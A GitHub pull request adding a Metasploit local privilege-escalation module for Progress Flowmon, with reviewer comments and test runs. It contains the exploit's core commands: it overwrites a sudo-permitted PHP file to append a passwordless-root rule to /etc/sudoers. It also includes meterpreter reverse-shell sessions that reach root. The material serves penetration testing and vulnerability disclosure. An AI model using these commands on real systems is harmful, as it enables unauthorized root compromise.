Add local privesc module for Flowmon #19151

DaveYesland · 2024-05-01T16:09:55Z

This adds a local privesc exploit module which abuses the sudoers permissions for the Flowmon user to elevate to root.

Vulnerable Application

Progress Flowmon up to at least version 12.3.2 is vulnerable to local privilege escalation from the
flowmon user to root. This is possible due to the
flowmon user being able to run several commands with
sudo. This module exploits the ability to overwrite a
PHP file and execute it with sudo granting full sudo
permissions to the flowmon user and elevating the
shell to a root shell.

For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/ (privesc methods)

https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability

This application is available in cloud marketplaces:

Verification Steps

Install the application
Start msfconsole
Gain a session on a Progress Kemp Loadmaster target as the flowmon user
Do: use exploits/linux/local/pprogress_flowmon_sudo_privesc_2024
Do: set SESSION <session>
Do: set LHOST <your host IP>
Do: run
You should get a shell as the root user.

Scenarios

Flowmon 12.2


Active sessions
===============

  Id  Name  Type                   Information                          Connection
  --  ----  ----                   -----------                          ----------
  2         meterpreter x64/linux  flowmon @ flowmon.my3m4o21xjze5fomt  138.111.211.11:4444 -> 172.174.209.1
                                   xp5e53h2h.bx.internal.cloudapp.net   01:50756 (10.1.0.4)

msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > show options

Module options (exploit/linux/local/progress_flowmon_sudo_privesc):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION       2                yes       The session to run this module on
   TEMP_PAYLOAD  /tmp/sCmGZ       yes       The temporary name to use to store the payload.


Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  138.111.211.11   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run

[*] Started reverse TCP handler on 138.111.211.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Copying /var/www/shtml/index.php to /tmp/index.php.bak
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Replacing index.php with original file
[+] Deleted /tmp/sCmGZ
[*] Meterpreter session 3 opened (138.111.211.11:4444 -> 172.174.209.101:51042) at 2024-05-01 15:41:10 +0000

meterpreter > sysinfo
Computer     : flowmon.my3m4o21xjze5fomtxp5e53h2h.bx.internal.cloudapp.net
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.76.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

bwatters-r7 · 2024-05-02T14:03:24Z

Whoever grabs this should probably also grab #19150

adfoster-r7 · 2024-05-02T14:24:37Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+      )
+    )
+    register_options([
+      OptString.new('TEMP_PAYLOAD', [true, 'The temporary name to use to store the payload.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ])


I think we generally use the pattern of specifiying a writable dir:

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2022_0847_dirtypipe.rb#L77

And generating the file name on each iteration:

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2022_0847_dirtypipe.rb#L120-L121

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

adfoster-r7 · 2024-05-02T14:30:35Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+    print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak')
+    cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak')
+    print_status('Overwriting /var/www/shtml/index.php with payload')
+    cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')


is it possible to write to any location, or does it have to be index.php? 👀

Should we inform the user that they should undo this change afterwards?

is it possible to write to any location, or does it have to be index.php?

It does have to be index.php just because that is what is initially allowed in the sudoers file.

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

adfoster-r7 · 2024-05-02T14:32:00Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+    register_file_for_cleanup(datastore['TEMP_PAYLOAD'])
+
+    print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak')
+    cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak')


Is there the possibility of this temporary file copy failing half way through, and subsequent attempts permanently accidentally deleting the file?

I made a change here and opted to read the file and store it in a variable in ruby to avoid this copy operation. Afterwards the module overwrites the file with it's original contents.

Note i did try appending the one necessary line of php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers") to the end of the file and then using sed to remove it later - however the call to sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s; fails if the original contents of index.php exist in the file. So it does seem you have to overwrite the contents one way or another.

jheysel-r7

Thanks for the module @DaveYesland! I was able to test this on the latest version of Progress Flowmon 12.3.5. Just a couple comments.

Testing

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > run

[-] Handler failed to bind to <redacted>:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[!] Write partially succeeded then failed. May need to manually clean up /tmp/COqwjffZ
[*] Copying /var/www/shtml/index.php to /tmp/index.php.bak
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Replacing index.php with original file
[+] Deleted /tmp/COqwjffZ
[*] Meterpreter session 2 opened (192.168.2.23:4444 -> 3.144.10.52:55208) at 2024-05-21 15:47:39 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : ip-172-31-12-58.us-east-2.compute.internal
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.108.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

jheysel-r7 · 2024-05-21T20:04:13Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+  end
+
+  def exploit
+    if exists?(datastore['TEMP_PAYLOAD'])


In order to avoid this situation, an ensure block should be added to the end of the exploit method which call's the FileDropper's cleanup method.

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

documentation/modules/exploit/linux/local/progress_flowmon_sudo_privesc_2024.md

…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

…4.rb Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>

…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

…o_privesc_2024.md Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

…4.rb Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>

jheysel-r7 · 2024-05-21T22:56:34Z

Hey @DaveYesland, thanks so much for making those changes! The Lint / Lint msftidy tests are failing - in the root directory of metasploit-framework if you run the following command it should fix the failing tests:

➜  metasploit-framework git:(b3bc4a6c68) ✗ rubocop -a modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Inspecting 1 file
C

Offenses:

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb:45:29: C: [Corrected] Style/TrailingCommaInArguments: Avoid comma after the last parameter of a method call.
        'Privileged' => true,
                            ^
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb:83:9: C: [Corrected] Layout/TrailingWhitespace: Trailing whitespace detected.
  ensure
        ^

1 file inspected, 2 offenses detected, 2 offenses corrected

jheysel-r7

Thanks for another great module @DaveYesland! I made a couple changes based on the comments left on the PR. I also noticed the /etc/sudoers file wasn't getting cleaned up so i added a method to take care of that. Testing was as expected, I think this is almost ready to land 🚀

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.2.23:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 2 indicators this is a Progress Flowmon product
[!] The service is running, but could not be validated.
[*] Saving payload as /tmp/.fovaiiazfuhl
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.26
[+] Deleted /tmp/.fovaiiazfuhl
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 9 opened (192.168.2.23:5555 -> 192.168.2.26:33408) at 2024-05-23 16:46:10 -0400
[*] Restoring /var/www/shtml/index.php file contents...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > bg

jheysel-r7 · 2024-05-23T20:56:15Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+    register_file_for_cleanup(datastore['TEMP_PAYLOAD'])
+
+    print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak')
+    cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak')


I made a change here and opted to read the file and store it in a variable in ruby to avoid this copy operation. Afterwards the module overwrites the file with it's original contents.

Note i did try appending the one necessary line of php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers") to the end of the file and then using sed to remove it later - however the call to sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s; fails if the original contents of index.php exist in the file. So it does seem you have to overwrite the contents one way or another.

cdelafuente-r7 · 2024-05-28T08:59:14Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+    print_status('Restoring /var/www/shtml/index.php file contents...')
+    file_rm('/var/www/shtml/index.php')
+    write_file('/var/www/shtml/index.php', index_php_contents)


Would it be better to move this cleanup code to the ensure block or directly to the #cleanup method? I'm worried this code won't be executed if an exception occurs before reaching it.

Yup that makes sense, I've moved this to #cleanup

cdelafuente-r7 · 2024-05-28T09:01:01Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+
+    print_status('Restoring /var/www/shtml/index.php file contents...')
+    file_rm('/var/www/shtml/index.php')
+    write_file('/var/www/shtml/index.php', index_php_contents)
  ensure
    cleanup


Is it necessary to call #cleanup in an ensure block? I'm under the impression the Framework will do this already.

jheysel-r7

Thanks for double checking that commit @cdelafuente-r7. Retested and working as expected.

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.50.78:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Sending stage (3045380 bytes) to 192.168.50.158
[+] Deleted /tmp/.ubmqjbtosxn
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 3 opened (192.168.50.78:5555 -> 192.168.50.158:54308) at 2024-05-29 08:37:33 -0400
[*] Restoring /var/www/shtml/index.php file contents...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

jheysel-r7 · 2024-05-29T12:40:06Z

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

+    print_status('Restoring /var/www/shtml/index.php file contents...')
+    file_rm('/var/www/shtml/index.php')
+    write_file('/var/www/shtml/index.php', index_php_contents)


Yup that makes sense, I've moved this to #cleanup

jheysel-r7 · 2024-05-29T15:36:33Z

Release Notes

Privilege escalation module for Progress Flowmon unpatched feature

Add local privesc module for Flowmon

c2a5616

adfoster-r7 reviewed May 2, 2024

View reviewed changes

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb Outdated Show resolved Hide resolved

adfoster-r7 reviewed May 2, 2024

View reviewed changes

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb Outdated Show resolved Hide resolved

adfoster-r7 reviewed May 2, 2024

View reviewed changes

jheysel-r7 self-assigned this May 21, 2024

jheysel-r7 reviewed May 21, 2024

View reviewed changes

DaveYesland and others added 7 commits May 21, 2024 13:39

Update modules/exploits/linux/local/progress_flowmon_sudo_privesc_202…

1ddc60b

…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

Update modules/exploits/linux/local/progress_flowmon_sudo_privesc_202…

90a0be6

…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

Update modules/exploits/linux/local/progress_flowmon_sudo_privesc_202…

a517a21

…4.rb Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>

Update modules/exploits/linux/local/progress_flowmon_sudo_privesc_202…

5a60a9a

…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

Update documentation/modules/exploit/linux/local/progress_flowmon_sud…

0de89d3

…o_privesc_2024.md Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

Update modules/exploits/linux/local/progress_flowmon_sudo_privesc_202…

de99a74

…4.rb Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>

Update progress_flowmon_sudo_privesc_2024.rb

b3bc4a6

Rubocop fixes

1b55b65

jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels May 23, 2024

Responded to comments, clean up /etc/sudoers file

2c6fc11

jheysel-r7 reviewed May 23, 2024

View reviewed changes

cdelafuente-r7 reviewed May 28, 2024

View reviewed changes

Fix module cleanup

cc7aeb4

jheysel-r7 reviewed May 29, 2024

View reviewed changes

jheysel-r7 closed this pull request by merging all changes into rapid7:master in 80ee458 May 29, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add local privesc module for Flowmon #19151

Add local privesc module for Flowmon #19151

DaveYesland commented May 1, 2024

bwatters-r7 commented May 2, 2024

adfoster-r7 May 2, 2024

adfoster-r7 May 2, 2024

adfoster-r7 May 2, 2024

DaveYesland May 21, 2024 •

edited

Loading

adfoster-r7 May 2, 2024

jheysel-r7 May 23, 2024

jheysel-r7 left a comment

jheysel-r7 May 21, 2024

jheysel-r7 commented May 21, 2024

jheysel-r7 left a comment

jheysel-r7 May 23, 2024

cdelafuente-r7 May 28, 2024

jheysel-r7 May 29, 2024

cdelafuente-r7 May 28, 2024

jheysel-r7 left a comment

jheysel-r7 May 29, 2024

jheysel-r7 commented May 29, 2024

Add local privesc module for Flowmon #19151

Add local privesc module for Flowmon #19151

Conversation

DaveYesland commented May 1, 2024

Vulnerable Application

Verification Steps

Scenarios

Flowmon 12.2

bwatters-r7 commented May 2, 2024

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

DaveYesland May 21, 2024 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jheysel-r7 left a comment

Choose a reason for hiding this comment

Testing

Choose a reason for hiding this comment

jheysel-r7 commented May 21, 2024

jheysel-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jheysel-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jheysel-r7 commented May 29, 2024

Release Notes

DaveYesland May 21, 2024 •

edited

Loading